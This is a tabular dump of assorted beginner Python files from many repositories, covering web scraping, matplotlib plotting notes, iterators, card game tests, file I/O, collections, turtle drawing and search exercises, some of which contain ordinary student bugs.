blob_id string | repo_name string | path string | length_bytes int64 | score float64 | int_score int64 | text string |
|---|---|---|---|---|---|---|
35484e36b3380655ece43c59245b42c28a155dda | yharsha/Python | /WebScraping/demo.py | 2,030 | 3.78125 | 4 | print("Starting web scrapping.....!!!")
#specify the url
wiki = "https://en.wikipedia.org/wiki/List_of_state_and_union_territory_capitals_in_India"
#import the library used to query a website
from urllib.request import urlopen
page =urlopen(wiki)
print("page...............")
print(page)
#import the Beautiful soup functions to parse the data returned from the website
from bs4 import BeautifulSoup
#Parse the html in the 'page' variable, and store it in Beautiful Soup format
soup=BeautifulSoup(page)
print("soup................")
# print(soup)
print("soup prettify................")
# print(soup.prettify())
print("soup title................")
all_links=soup.find_all("a")
# for link in all_links:
# print (link.get("href"))
all_tables=soup.find_all('table')
right_table = soup.find('table',class_='wikitable sortable plainrowheaders')
# print("table")
# print(right_table)
#lists
A=[]
B=[]
C=[]
D=[]
E=[]
F=[]
G=[]
for row in right_table.find_all("tr"):
cells=row.find_all('td')
states=row.find_all('th')#To store second column data
if len(cells)==6:
A.append(cells[0].find(text=True))
B.append(states[0].find(text=True))
C.append(cells[1].find(text=True))
D.append(cells[2].find(text=True))
E.append(cells[3].find(text=True))
F.append(cells[4].find(text=True))
G.append(cells[5].find(text=True))
#import pandas to convert list to data frame
import pandas as pd
df=pd.DataFrame(A,columns=['Number'])
df['State/Ut']=B
df['Admin_Capital']=C
df['Legislative_Capital']=D
df['Judiciary_Capital']=E
df['Year_Capital']=F
df['Former_Capital']=G
# df
print("*************************")
print(df)
# from selenium import webdriver
# import time
#
# options = webdriver.ChromeOptions()
# options.add_argument('--ignore-certificate-errors')
# options.add_argument("--test-type")
# options.binary_location = "/usr/bin/chromium"
# driver = webdriver.Chrome(chrome_options=options)
# driver.get('https://en.wikipedia.org/wiki/Andaman_and_Nicobar_Islands')
|
0731bccc1011b80b088801562280498daea84de7 | rawanvib/edx_course | /problem set 1/problem_3.py | 283 | 3.953125 | 4 | # Paste your code into this box
s
res = ''
tmp = ''
for i in range(len(s)):
tmp += s[i]
if len(tmp) > len(res):
res = tmp
if i > len(s)-2:
break
if s[i] > s[i+1]:
tmp = ''
print("Longest substring in alphabetical order is: {}".format(res))
|
2194394e6f72942dca942645728429fd4d0aed55 | lingerssgood/AI | /DataShow/special.py | 2,323 | 3.5 | 4 | '''
对应的颜色简写:
b 蓝色 m magenta(品红)
g 绿色 y 黄色
r 红色 k 黑色(black)
c 青色(cyan) w 白色
使用十六进制表示颜色,如#0F0F0F
使用浮点数的字符串表示,即灰度表示方法,如color=“0.4”
使用浮点数的RGB元组表示,如(0.1, 0.3, 0.5)
'''
import numpy as np
import matplotlib.pyplot as plt
x=np.arange(1,10,0.1)
y=x*2
plt.plot(x,y,color="c")
plt.plot(x,y+1,color="#0F0F0F")
plt.plot(x,y+2,color="0.5")
plt.plot(x,y+3,color=(0.1,0.3,0.5))
plt.show()
'''
线的样式:
用linestyle表示,共有4种,
实线 -
虚线 --
点画线 -.
点线 :
前一篇博客已经讲过,表示颜色样式可以使用样式字符串来简单表示样式:
fmt = “[color][marker][linestyle]”
如“cx--”就表示青色线段,点的标记是x,用虚线表示。
'''
'''
子图,多图
多图(即同时生成多张图)只需要同时新建多个figure对象即可
子图subplot:(下面的例子是采用面向对象的方法用建立的figure对象添
加子图即add_subplot,也可以直接使用plt.subplot形成子图。
'''
import numpy as np
import matplotlib.pyplot as plt
x=np.arange(1,10,0.1)
print(x)
#建立一个figure对象
fig=plt.figure()
#新建子图实例并绘图
ax1=fig.add_subplot(221)
ax1.plot(x,x*2,"r")
#新建子图2实例并绘图
ax2=fig.add_subplot(222)
ax2.plot(x,-x,"b")
#新建子图3实例并绘图
ax3=fig.add_subplot(223)
ax3.plot(x,-2*x,"k")
#新建子图4实例并绘图
ax4=fig.add_subplot(224)
ax4.plot(x,x**2,"y")
plt.show()
'''
网格grid
'''
import numpy as np
import matplotlib.pyplot as plt
x=np.arange(0,10,1)
plt.grid(color="r",linewidth="3")
plt.plot(x,x**2)
plt.show()
'''
图例legend: 下面是两种方法生成图例的代码,注意legend的参数,loc表示位置,
如果有多组曲线,ncol可以将其设置为多列,默认为1列。还有阴影shadow等参数,
'''
#使用plt.legend
import numpy as np
import matplotlib.pyplot as plt
x=np.arange(1,10,1)
plt.plot(x,x**2)
#legend的参数loc可以指定图例的位置,此处0代表最合适的位置
plt.legend(loc=0)
plt.show()
#使用面向对象的方法
import numpy as np
import matplotlib.pyplot as plt
x=np.arange(1,10,1)
fig=plt.figure()
ax=fig.add_subplot(111)
plt.plot(x,x*2)
ax.legend(["line"])
plt.show() |
801bee6bbe5a7f9d75b3242586514131def26e9b | pepitogrilho/learning_python | /xSoloLearn_basics/comments.py | 511 | 4.125 | 4 | # -*- coding: utf-8 -*-
#.....................................................
#comment: number of days in a year
d=365
#comment: number of months i a year
m=12
print(d/m) #average number of days in a month
#.....................................................
def shout(word):
"""
Print a word with an exclamation mark
Parameters
----------
word : string
Word to be shouted.
Returns
-------
The shouted word.
"""
return word + "!!!!!!"
shout("Basta")
|
88465f9b94b20cdfa836bd72c9ceca1d745496af | Testwjm/python_basic | /Basics/iterator_generator.py | 3,149 | 4.28125 | 4 | """python3迭代器与生成器"""
# 迭代是python最强大的功能之一,是访问集合元素的一种方式
# 迭代器是一个可以记住遍历的位置的对象
# 迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束,迭代器只能往前不会后退
# 迭代器有两个基本的方法:iter()和next()
# 字符串,列表或元组对象都可用于创建迭代器:
list = [1, 2, 3, 4]
it = iter(list) # 创建迭代器对象
print(next(it)) # 输出迭代器的下一个元素
# 迭代器对象可以使用常规for语句进行遍历:
list = [1, 2, 3, 4]
it = iter(list) # 创建迭代器对象
for x in it:
print(x, end="")
# 也可以使用next()函数
import sys # 引入sys模块
list = [1, 2, 3, 4]
it = iter(list) # 创建迭代器对象
while True:
try:
print(next(it))
except StopIteration:
sys.exit()
# 创建一个迭代器
# 把一个类作为一个迭代器使用需要在类中实现两个方法__iter__()与__next()__
# __iter__()方法返回一个特殊的迭代器对象,这个迭代器对象实现了__next__()方法并通过StopIteration异常标识迭代的完成
# __next__()方法会返回下一个迭代器对象
# 实例,创建一个返回数字的迭代器,初始值为1,逐步递增1:
class MyNumbers:
def __iter__(self):
self.a = 1
return self
def __next__(self):
x = self.a
self.a += 1
return x
myclass = MyNumbers()
myiter = iter(myclass)
print(nex(myiter))
print(nex(myiter))
print(nex(myiter))
print(nex(myiter))
print(nex(myiter))
# StopIteration
# StopIteration异常用于标识迭代的完成,防止出现无限循环的情况,在__next()__方法中我们可以设置在完成指定循环次数后触发StopIteration异常来结束迭代
# 实例,在20次迭代后停止执行
class MyNumbers:
def __iter__(self):
self.a = 1
return self
def __next__(self):
if self.a <= 20:
x = self.a
self.a += 1
return x
else:
raise StopIteration
myclass = MyNumbers()
myiter = iter(myclass)
for x in myiter:
print(x)
# 生成器
# 在python中,使用了yield的函数被称为生成器(generator)
# 跟普通函数不同的是,生成器是一个返回迭代器的函数,只能用于迭代操作,更简单点理解生成器就是一个迭代器
# 在调用生成器运行的过程中,每次遇到yied时函数会暂停并保存当前所有的运行信息,返回yied的值,并在下一次执行next()方法时从当前位置继续运行
# 调用一个生成器函数,返回的是一个迭代器对象
# 以下实例使用yied实现斐波那契数列:
import sys
def fibonacci(n): # 生成器函数 - 斐波那契
a, b, counter = 0, 1, 0
while True:
if (counter > n):
return
yield a
a, b = b, a + b
counter += 1
f = fibonacci(10) # f 是一个迭代器,由生成器返回生成
while True:
try:
print(next(f), end="")
except StopIteration:
sys.exit()
|
3f211cfb97ae7d469ea18a7807a7eac613a73697 | kangjianma/Card-Game | /Card Game Source Files/test_case.py | 6,963 | 3.546875 | 4 | from CardGame import *
test_case = 4
# Functional Test Case
if test_case == 1:
# Test Case 1
# Test the card is initiated correctly.
cardgame = CardGame(card_number=[2, 4, 6], suits=['red', 'yellow', 'green'],
points={'red': 3, 'yellow': 2, 'green': 1}, deck_number=1)
print("cards=", cardgame.cards, '\n')
print("suits=", cardgame.suits, '\n')
print("points=", cardgame.points, '\n')
print("deck number=", cardgame.deck_number)
elif test_case == 2:
# Test Case 2
# Test “Shuffle cards in the deck” Operation works
cardgame = CardGame(card_number=[2, 4, 6], suits=['red', 'yellow', 'green'],
points={'red': 3, 'yellow': 2, 'green': 1}, deck_number=1)
print("original cards:", cardgame.cards)
cardgame.shuffleCards()
print("original cards:", cardgame.cards)
print("shuffled cards", cardgame.cards)
elif test_case == 3:
# Test Case 3
# Test “Get a card from the top of the deck” Operation works
cardgame = CardGame(card_number=[2, 4, 6], suits=['red', 'yellow', 'green'],
points={'red': 3, 'yellow': 2, 'green': 1}, deck_number=1)
print("Original Cards=", cardgame.cards)
print("Card Number=", len(cardgame.cards), '\n')
deal_card = cardgame.dealCard()
print("Deal Card=", deal_card)
print("Cards=", cardgame.cards)
print("Card Number=", len(cardgame.cards), '\n')
deal_card = cardgame.dealCard()
print("Deal Card=", deal_card)
print("Cards=", cardgame.cards)
print("Card Number=", len(cardgame.cards), '\n')
deal_card = cardgame.dealCard()
print("Deal Card=", deal_card)
print("Cards=", cardgame.cards)
print("Card Number=", len(cardgame.cards), '\n')
elif test_case == 4:
# Test Case 4
# Test “sort Cards” Operation works
cardgame = CardGame(card_number=[2, 4, 6], suits=['red', 'yellow', 'green'],
points={'red': 3, 'yellow': 2, 'green': 1}, deck_number=1)
print("Original Cards=", cardgame.cards, '\n')
cardgame.shuffleCards(seed=1)
print("Shuffled Cards=", cardgame.cards, '\n')
cardgame.sortCards(suits_order=["yellow", "green", "red"])
print("Sorted Cards=", cardgame.cards)
# elif test_case == 5:
# # Test Case 5
# # Test “Determine winners” Operation works
#
# cardgame = CardGame(card_number=[2, 4, 6], suits=['red', 'yellow', 'green'],
# points={'red': 3, 'yellow': 2, 'green': 1}, deck_number=1)
#
# print("Original Cards=", cardgame.cards, '\n')
#
# cardgame.play()
elif test_case == 6:
# Test Case 6
# Test “Determine winners” Operation works with reproducible Shuffling
cardgame = CardGame(card_number=[2, 4, 6], suits=['red', 'yellow', 'green'],
points={'red': 3, 'yellow': 2, 'green': 1}, deck_number=1)
print("Original Cards=", cardgame.cards, '\n')
cardgame.shuffleCards(seed=1)
print("Shuffled Cards=", cardgame.cards, '\n')
print(cardgame.cards)
cardgame.play()
cardgame.play()
# Edge Case Test:
elif test_case == 7:
# Test Case 7
# Test the case of more than one deck
cardgame = CardGame(card_number=[2, 4, 6], suits=['red', 'yellow', 'green'],
points={'red': 3, 'yellow': 2, 'green': 1}, deck_number=2)
print("cards=", cardgame.cards, '\n')
print("suits=", cardgame.suits, '\n')
print("points=", cardgame.points, '\n')
print("deck number=", cardgame.deck_number)
elif test_case == 8:
# Test Case 8
# Test the case where the number of a suit is less than 1
cardgame = CardGame(card_number=[2, 0, 6], suits=['red', 'yellow', 'green'],
points={'red': 3, 'yellow': 2, 'green': 1}, deck_number=1)
print("cards=", cardgame.cards, '\n')
print("suits=", cardgame.suits, '\n')
print("points=", cardgame.points, '\n')
print("deck number=", cardgame.deck_number)
elif test_case == 9:
# Test Case 9
# Test the case where the card number for suits does not match suits
cardgame = CardGame(card_number=[2, 4, 6, 3], suits=['red', 'yellow', 'green'],
points={'red': 3, 'yellow': 2, 'green': 1}, deck_number=1)
print("cards=", cardgame.cards, '\n')
print("suits=", cardgame.suits, '\n')
print("points=", cardgame.points, '\n')
print("deck number=", cardgame.deck_number)
elif test_case == 10:
# Test Case 10
# Test case where user-assigned suits does not match user-assigned suit-point pairs (number of items do not match)
cardgame = CardGame(card_number=[2, 4, 6], suits=['red', 'yellow', 'green'],
points={'red': 3, 'green': 1}, deck_number=1)
print("cards=", cardgame.cards, '\n')
print("suits=", cardgame.suits, '\n')
print("points=", cardgame.points, '\n')
print("deck number=", cardgame.deck_number)
elif test_case == 11:
# Test Case 11
# Test case where user assigned suits do not match user assigned suit-point pairs (terms of items do not match)
cardgame = CardGame(card_number=[2, 4, 6], suits=['blue', 'yellow', 'green'],
points={'red': 3, 'green': 1}, deck_number=1)
print("cards=", cardgame.cards, '\n')
print("suits=", cardgame.suits, '\n')
print("points=", cardgame.points, '\n')
print("deck number=", cardgame.deck_number)
elif test_case == 12:
# Test Case 12
# Test case where there is no card left to deal
cardgame = CardGame(card_number=[1, 1, 1], suits=['red', 'yellow', 'green'],
points={'red': 3, 'yellow': 2, 'green': 1}, deck_number=1)
print("cards=", cardgame.cards, '\n')
deal_card = cardgame.dealCard()
print("Deal Card=", deal_card)
deal_card = cardgame.dealCard()
print("Deal Card=", deal_card)
deal_card = cardgame.dealCard()
print("Deal Card=", deal_card)
deal_card = cardgame.dealCard()
print("Deal Card=", deal_card)
elif test_case == 13:
# Test Case 13
# Test the case where there are duplicates in user-assigned suits
cardgame = CardGame(card_number=[1, 1, 1], suits=['red', 'red', 'green'],
points={'red': 3, 'green': 1}, deck_number=1)
print('cards=', cardgame.cards, "\n")
elif test_case == 14:
# Test Case 14
# Test case where the left cards are not enough to play to get a winner
cardgame = CardGame(card_number=[2, 1, 3], suits=['red', 'yellow', 'green'],
points={'red': 3, 'yellow': 2, 'green': 1},
deck_number=1)
print("Original Cards=", cardgame.cards, '\n')
cardgame.shuffleCards(seed=1)
print("Shuffled Cards=", cardgame.cards, '\n')
print(cardgame.cards)
cardgame.play()
cardgame.play()
else:
raise ValueError("The desired test case number exceeds the maximum case number.")
|
a1fa83bcf4c0635ac4eb3d3efd49a44762332ac7 | andrewbeattycourseware/pands2021 | /code/week07-files/Lecture/messingWithFiles.py | 391 | 3.78125 | 4 | # This program is to demonstrate file io
# as part of my lecture
# Author: Andrew Beatty
with open(".\lecture1.txt", "w") as f:
print ("create a file")
with open("testdata.txt", "rt") as f :
#data = f.read(2)
#print (data)
for line in f:
print ("we got: ", line.strip())
with open("../output.txt", "wt") as f:
f.write("blah the blah\n")
print ("my data", file= f) |
f6a1b9b13d598ec97023f84759402d3d81dd3584 | umairgillani93/data-structures-algorithms | /Array_Sequences/Array_Problems/Array_Problem02.py | 285 | 3.5625 | 4 | def pairSum(arr, k):
# Edge case
if len(arr) < 2:
return
else:
tup_list = [(i,j) for i in arr for j in arr if i+j == k]
tup_set = set(tup_list)
# return tup_set
print('\n'.join(map(str, tup_set)))
print(pairSum([1,3,2,2], 4)) |
e04bdc004935290413ceefbe6faef61333a16c47 | yaoshengzhe/project-euler | /problems/python/049.py | 1,001 | 3.578125 | 4 | #! /usr/bin/python
import itertools
from util.prime import is_prime
def is_anagram(num_coll):
if num_coll is None or len(num_coll) < 1:
return True
signiture = None
for i in num_coll:
sig = ''.join(sorted(str(i)))
if signiture is None:
signiture = sig
elif signiture != sig:
return False
return True
def foo():
candidate_coll = []
for i in range(1000, 10000):
num = int(i)
if is_prime(num):
candidate_coll.append(num)
candidate_set = set(candidate_coll)
for i in range(len(candidate_coll)):
for j in range(i+1, len(candidate_coll)):
x, y = candidate_coll[i], candidate_coll[j]
z = y + y - x
if z in candidate_set and is_anagram([x, y, z]) and (x, y, z) != (1487, 4817, 8147):
print x, y, z
return ''.join([str(x), str(y), str(z)])
def main():
print foo()
if __name__ == '__main__':
main()
|
151f84bf0147d6a063eea1da14dff10112d2beaf | Umutonipamera/pyQuiz | /quiz.py | 143 | 4.25 | 4 |
def divisible_by_three(n):
new_list= range(n,n+1)
for a in new_list:
if(a%3==0):
print(a)
divisible_by_three(100) |
6cda3ecc30f9e647ff621fe354705e9269e54440 | Julio-vg/Entra21_Julio | /Exercicios/exercicios aula 04/operacao_matematica/exercicio13.py | 212 | 4.15625 | 4 |
# Exercicio 13
# Crie um programa que solicite o valor de x (inteiro)
#
# calcule usando a fórmula x+3
#
# mostre o resultado
x = int(input("Digite um número:"))
formula = x + 3
print("Resultado:", formula) |
254a44b662c3f699763e5bedcf8bb81b30531ccc | Bageasw/python | /def.py | 336 | 3.8125 | 4 | dic = {"one": "один", "two": "два","three": "три", "four": "четыре", "five": "пять", "six": "шесть", "seven": "семь", "eight": "восемь", "nine": "девять", "ten": "десять"}
def num_translate():
k = input("ввидите слово: ")
print(dic.get(k))
num_translate()
|
f340b50988f1132253b37654ccb5845acde104a3 | AbdelaaliElou/forumsWork | /atm/atm_refactored.py | 887 | 3.765625 | 4 |
def withdraw(balance, request):
if request < 0:
print 'pls enter a positive number :)'
return balance
if request > balance:
print('we can\'t give that amount of value!!')
return balance
print 'current balance =', balance
balance -= request
while request > 0:
if request >= 100:
request -= 100
print 'given 100'
elif request >= 50:
request -= 50
print 'given 50'
elif request >= 10:
request -= 10
print 'given 10'
elif request >= 5:
print 'given', request
request -= 5
elif request < 5:
print 'given', request
request = 0
return balance
balacne = 500
balance = withdraw(balance, 5425425)
balance = withdraw(balance, 225)
# print balance
balance = withdraw(balance, 666)
|
5ee2bdb3ee80f42c684179a39e932b2965a785de | amitchoudhary13/Python_Practice_program | /FileOps5.py | 2,352 | 4.46875 | 4 | '''
#Open the file is read & write mode and apply following functions
#a) All 13 functions mentioned in Tutorial File object table.
'''
fo = open("file.txt", "r+")
print("Name of the file: ", fo.name)
# Close opened file
fo.close()
fo = open("file.txt", "r")
print( "Name of the file: ", fo.name)
fo.flush()
fo.close()
fo = open("file.txt", "r+")
print( "Name of the file: ", fo.name)
fid = fo.fileno()
print( "File Descriptor: ", fid)
fo.close()
fo = open("file.txt", "r+")
print( "Name of the file:", fo.name)
ret = fo.isatty()
print( "Return value : ", ret)
fo.close()
fo = open("file.txt", "r+")
print( "Name of the file: ", fo.name)
line = fo.read(100)
print( "Read Line: %s" %line)
fo.close()
fo = open("file.txt", "r+")
print( "Name of the file: ", fo.name)
line = fo.readline()
print( "Read Line: %s" % (line))
line = fo.readline(5)
print( "Read Line: %s" % (line))
fo.close()
fo = open("file.txt", "r+")
print( "Name of the file: ", fo.name)
line = fo.readlines()
print( "Read Line: %s" % (line))
line = fo.readlines(2)
print( "Read Line: %s" % (line))
fo.close()
fo = open("file.txt", "r+")
print( "Name of the file: ", fo.name)
line = fo.readline()
print( "Read Line: %s" %line)
# Again set the pointer to the beginning
fo.seek(0, 0)
line = fo.readline()
print("Read Line:%s" %line)
fo.close()
fo = open("file.txt", "r+")
print( "Name of the file: ", fo.name)
line = fo.readline()
print( "Read Line: %s" % (line))
# Get the current position of the file.
pos = fo.tell()
print( "Current Position: %d" % (pos))
# Close opend file
fo.close()
fo = open("file.txt", "r+")
print( "Name of the file: ", fo.name)
line = fo.readline()
print( "Read Line: %s" % (line))
# Now truncate remaining file.
fo.truncate()
# Try to read file now
line = fo.readline()
print( "Read Line: %s" % (line))
fo.close()
fo = open("file.txt", "r+")
print( "Name of the file: ", fo.name)
str = "This is 6th line"
# Write a line at the end of the file.
#fo.seek(0, 1)
line = fo.write( str )
# Now read complete file from beginning.
fo.seek(0,0)
lines=fo.read()
print( lines)
fo.close()
fo = open("file.txt", "r+")
print( "Name of the file: ", fo.name)
str = "This is 6th line"
# Write a line at the end of the file.
#fo.seek(0, 1)
line = fo.writelines( str )
# Now read complete file from beginning.
fo.seek(0,0)
lines=fo.read()
print( lines)
fo.close()
|
fcd61a0f7cedde5985f5c8943bcef74bf96fe52d | rafaelperazzo/programacao-web | /moodledata/vpl_data/380/usersdata/334/90933/submittedfiles/testes.py | 150 | 3.671875 | 4 | # -*- coding: utf-8 -*-
#COMECE AQUI ABAIXO
def maximo int((a,b)):
if a>b:
return a
else:
return b
x=input()
y=input()
print(maximo(a,b) |
fd0d98228fd69ddee0295d10f5c8bcf5b3a9fb01 | 610yilingliu/leetcode | /Python3/270.closest-binary-search-tree-value.py | 980 | 3.8125 | 4 | #
# @lc app=leetcode id=270 lang=python3
#
# [270] Closest Binary Search Tree Value
#
# @lc code=start
# Definition for a binary tree node.
class TreeNode:
def __init__(self, val=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
class Solution:
def closestValue(self, root, target):
"""
:type root: TreeNode
:type target: float
:rtype: int
"""
if root is None:
return float('inf')
if root.val == target:
return root.val
elif root.val < target:
rightRes = self.closestValue(root.right, target)
return root.val if abs(root.val - target) < abs(rightRes - target) else rightRes
elif root.val > target:
leftRes = self.closestValue(root.left, target)
return root.val if abs(root.val - target) < abs(leftRes - target) else leftRes
# @lc code=end
|
0b79a2aff3d7465d1bf6347a5db5dd8690381551 | bbsathyaa/PYTHON | /task 9.py | 490 | 3.828125 | 4 | #multiply two arguments
z=lambda x,y:x*y
print(z(2,5))
#fibonacci series
def fib(n):
r=[0,1]
any(map(lambda _:r.append(r[-1]+r[-2]),range(2,n)))
print(r)
n=int(input("Enter number"))
fib(n)
#multiply a number to the list
l=list(range(10))
l=list(map(lambda n:n*3,l))
print(l)
#divisible by 9
l=list(range(90))
l1=list(filter(lambda n:(n%9==0),l))
print(l1)
#count of even no.
l=list(range(1,11))
c=len(list(filter(lambda n:(n%2==0) ,l)))
print(c)
|
7ea9e89a89c58291844571f06eb2f1b09147f187 | Hayk258/lesson | /kalkulyator.py | 554 | 4 | 4 | print (5 * 5)
print (5 % 5)
print(25 + 10 * 5 * 5)
print(150 / 140)
print(10*(6+19))
print(5**5) #aysinqn 5i 5 astichan
print(8**(1/3))
print(20%6)
print(10//4)
print(20%6) #cuyca talis vor 20 bajanes 6 taki ostatken inchqana mnalu
while True:
x = input("num1 ")
y = input('num2 ')
if x.isdigit() and y.isdigit():
x = float(x)
y = float(y)
break
else:
print('please input number')
choise = input("+ - * /")
if choise == '+':
print(x+y)
elif choise == '-':
print(x-y)
if choise == '/':
print(x/y)
elif choise == '*':
print(x*y) |
93ee6d8d20734daeb1012c14309031c42b533cc2 | Sheetal2304/list | /number.py | 328 | 3.5625 | 4 | list1=[2,1,3,4,5,6,3,2,3,1,4,2,4]
list2=[]
i=0
while i<len(list1):
count=0
j=0
while j<len(list1):
if list1[j]==list1[i]:
count+=1
j+=1
if list1[i]in list2:
i+=1
continue
list2.append(list1[i])
if count%2==0:
print(list1[i],"",count//2,"pair")
i+=1 |
bf72dd9bd5d124bc2da84a1c384866e7665f5a12 | cookjl/IntroductionToPython | /src/m5_your_turtles.py | 2,196 | 3.6875 | 4 | """
Your chance to explore Loops and Turtles!
Authors: David Mutchler, Dave Fisher, Valerie Galluzzi, Amanda Stouder,
their colleagues and Jack Cook.
"""
########################################################################
# Done: 1.
# On Line 5 above, replace PUT_YOUR_NAME_HERE with your own name.
########################################################################
########################################################################
# Done: 2.
#
# You should have RUN the PREVIOUS module and READ its code.
# (Do so now if you have not already done so.)
#
# Below this comment, add ANY CODE THAT YOUR WANT, as long as:
# 1. You construct at least 2 rg.SimpleTurtle objects.
# 2. Each rg.SimpleTurtle object draws something
# (by moving, using its rg.Pen). ANYTHING is fine!
# 3. Each rg.SimpleTurtle moves inside a LOOP.
#
# Be creative! Strive for way-cool pictures! Abstract pictures rule!
#
# If you make syntax (notational) errors, no worries -- get help
# fixing them at either this session OR at the NEXT session.
#
# Don't forget to COMMIT your work by using VCS ~ Commit and Push.
########################################################################
import rosegraphics as rg
window = rg.TurtleWindow()
blue_turtle=rg.SimpleTurtle()
blue_turtle.pen = rg.Pen('blue', 3)
blue_turtle.speed = 20
red_turtle=rg.SimpleTurtle()
red_turtle.pen = rg.Pen('red', 3)
red_turtle.speed = 20
red_turtle.pen_up()
blue_turtle.pen_up()
red_turtle.right(90)
blue_turtle.right(90)
red_turtle.forward(200)
blue_turtle.forward(200)
red_turtle.left(90)
blue_turtle.left(90)
red_turtle.left(90)
red_turtle.forward(5)
red_turtle.right(90)
red_turtle.pen_down()
blue_turtle.pen_down()
bluecirclesize = 250
redcirclesize = 245
for i in range (25):
blue_turtle.draw_circle(bluecirclesize)
blue_turtle.pen_up()
blue_turtle.left(90)
blue_turtle.forward(10)
blue_turtle.right(90)
blue_turtle.pen_down()
bluecirclesize=bluecirclesize-10
red_turtle.draw_circle(redcirclesize)
red_turtle.pen_up()
red_turtle.pen_up()
red_turtle.left(90)
red_turtle.forward(10)
red_turtle.right(90)
red_turtle.pen_down()
redcirclesize=redcirclesize-10 |
841234ba13cefd6eb016b139b2b297ea7fe9a2ea | Efimov-68/CoursesPython2.x-3.x | /list.py | 242 | 4.03125 | 4 | letters = ['a', 'b', 'c', 'd', 'e', 'f']
'''
if 'a1' in letters:
print('Найдено "а" в списке letters')
else:
print('Символ "а" не найден в списке')
'''
if 'a' in letters:
letters.remove('a')
|
03d7d363ce292a8b7163588c556956168888f550 | nmap1208/2016-python-oldboy | /Day2/notebook.py | 3,669 | 3.6875 | 4 | # -*- coding:utf-8 -*-
from collections import Counter, OrderedDict, defaultdict, namedtuple, deque
# Counter是对字典类型的补充,用于追踪值的出现次数。
# ps:具备字典的所有功能 + 自己的功能
print("Counter".center(50, "-"))
c = Counter('abcdeabcdabcaba')
print(c.most_common(3))
print(''.join(c.elements()))
print(''.join(sorted(c.elements())))
print(''.join(sorted(c)))
print(c['b'])
c['b'] -= 3
print(c['b'])
print(''.join(c.elements()))
# orderdDict是对字典类型的补充,他记住了字典元素添加的顺序
# 见博客http://blog.csdn.net/liangguohuan/article/details/7088304,写的已经足够好了
print("orderDict".center(50, "-"))
d1 = {}
d1['a'] = 'A'
d1['b'] = 'B'
d1['c'] = 'C'
d2 = OrderedDict()
d2['a'] = 'A'
d2['b'] = 'B'
d2['c'] = 'C'
print(d1 == d2)
d3 = OrderedDict()
d3['b'] = 'B'
d3['a'] = 'A'
d3['c'] = 'C'
print(d2 == d3)
# Python collections.defaultdict() 与 dict的使用和区别
# http://www.pythontab.com/html/2013/pythonjichu_1023/594.html
print('defaultdict'.center(50, '-'))
values = [11, 22, 33, 44, 55, 66, 77, 88, 99, 90]
my_dict1 = defaultdict(list)
for value in values:
if value > 66:
my_dict1['k1'].append(value)
else:
my_dict1['k2'].append(value)
print(my_dict1)
my_dict2 = {}
for value in values:
if value > 66:
my_dict2.setdefault('k1', []).append(value)
else:
my_dict2.setdefault('k2', []).append(value)
print(my_dict2)
print(my_dict1['x'])
print(my_dict1)
s = 'mississippi'
d = defaultdict(int)
for k in s:
d[k] += 1
print(list(d.items()))
# 根据nametuple可以创建一个包含tuple所有功能以及其他功能的类型。
# 博客地址http://blog.csdn.net/wukaibo1986/article/details/8188906
print("nametuple".center(50, "-"))
Bob = ('bob', 30, 'male')
Jane = ('Jane', 29, 'female')
for people in[Bob, Jane]:
print("%s is %d years old %s" % people)
Person = namedtuple('Person', 'name age gender')
print('Type of Person:', type(Person))
Bob = Person(name='Bob', age=30, gender='male')
print('Representation:', Bob)
Jane = Person(name='Jane', age=29, gender='female')
print('Field by Name:', Jane.name)
for people in[Bob, Jane]:
print("%s is %d years old %s" % people)
# 双向队列(deque)
# 一个线程安全的双向队列
print("deque".center(50, "-"))
q = deque('abaacdefgh')
print(q)
q.append('x')
print(q)
q.appendleft(3)
print(q)
print(q.count('a'))
q.extend(['a','b'])
print(q)
q.extendleft(['a', 'b', 'c'])
print(q)
print(q.pop())
print(q.popleft())
print(q)
q.remove(3)
print(q)
q.reverse()
print(q)
# 单向队列,是先进先出(FIFO),使用了queue模块,其中单项和双项队列均有。
# Queue是一个队列的同步实现。队列长度可为无限或者有限。
# 可通过Queue的构造函数的可选参数maxsize来设定队列长度。如果maxsize小于1就表示队列长度无限。
import queue
print("Queue".center(50, "-"))
q = queue.Queue(maxsize = 2)
q.put(1)
q.put(2)
# q.put('a', block=False) # 如果队列当前已满且block为True(默认),put()方法就使调用线程暂停,直到空出一个数据单元。如果block为False,put方法将引发Full异常。
# q.put_nowait(3) # 相当q.put(3, block=False)
print(q.get())
print(q.get())
# print(q.get(block=False)) # 调用队列对象的get()方法从队头删除并返回一个项目。可选参数为block,默认为True。如果队列为空且block为True,get()就使调用线程暂停,直至有项目可用。如果队列为空且block为False,队列将引发Empty异常。
# print(q.get(timeout=2)) # 等待2秒后仍然为空则报异常,常用于多线程
|
53c12ff549cfb23f0b74f0682614b16a661c39e7 | grogsy/python_exercises | /other/oop/contacts_example.py | 1,496 | 3.984375 | 4 | '''demonstrates inheritance and multiple inheritance'''
class Contact:
all_contacts = []
def __init__(self, name='', email='', **kwargs):
super().__init__(**kwargs)
self.name = name
self.email = email
self.all_contacts.append(self)
def __repr__(self):
# using a dict to test dict interpolation with old-style formatting
info = dict(name=self.name,
email=self.email)
# return "%(name)s: %(email)s" % info
return "Contact<%(name)s>" % info
class AddressHolder:
def __init__(self, street='', city='', state='', code='', **kwargs):
super().__init__(**kwargs)
self.street = street
self.city = city
self.state = state
self.code = code
class Friend(Contact, AddressHolder):
def __init__(self, phone='', **kwargs):
super().__init__(**kwargs)
self.phone = phone
def __repr__(self):
return "Friend<%s>" % self.name
# Interfaces to creating new objects
def make_contact(friend=False):
info = dict(name=input('name: '),
email=input('email: '))
return Contact(**info)
def make_friend():
info = dict(name=input('name: '),
email=input('email: '),
phone=input('phone number: '),
street=input('street: '),
city=input('city: '),
state=input('state: '),
code=input('zip code: '))
return Friend(**info)
|
fb2f2523016b044177487fd1e205b3178ce4e7ee | sghwan28/PythonSelf-Learning | /Algorithm/Search/BinarySearch.py | 1,256 | 3.765625 | 4 | from typing import List
'''
leetcode 33:
搜索旋转排序数组
set left, right
while left < right:
set mid
if mid = target:
return mid
if mid > left:
if target between left and mid:
binary search the new range
else:
left += 1
elif mid < left:
if target between mid +1 and right:
binary search the new range
else:
right = mid
return left if left == target else -1
'''
def search(nums: List[int], target: int) -> int:
'''
>>> search([4,5,6,7,0,1,2],0)
4
'''
if not nums:
return -1
if len(nums) == 1:
return 0 if nums[0] == target else -1
left, right =0, len(nums)-1
while left < right:
mid = (left + right) // 2
if nums[mid] == target:
return mid
if nums[mid] > nums[left]: # 此时左侧有序
if nums[left] <= target <= nums[mid]:
right = mid
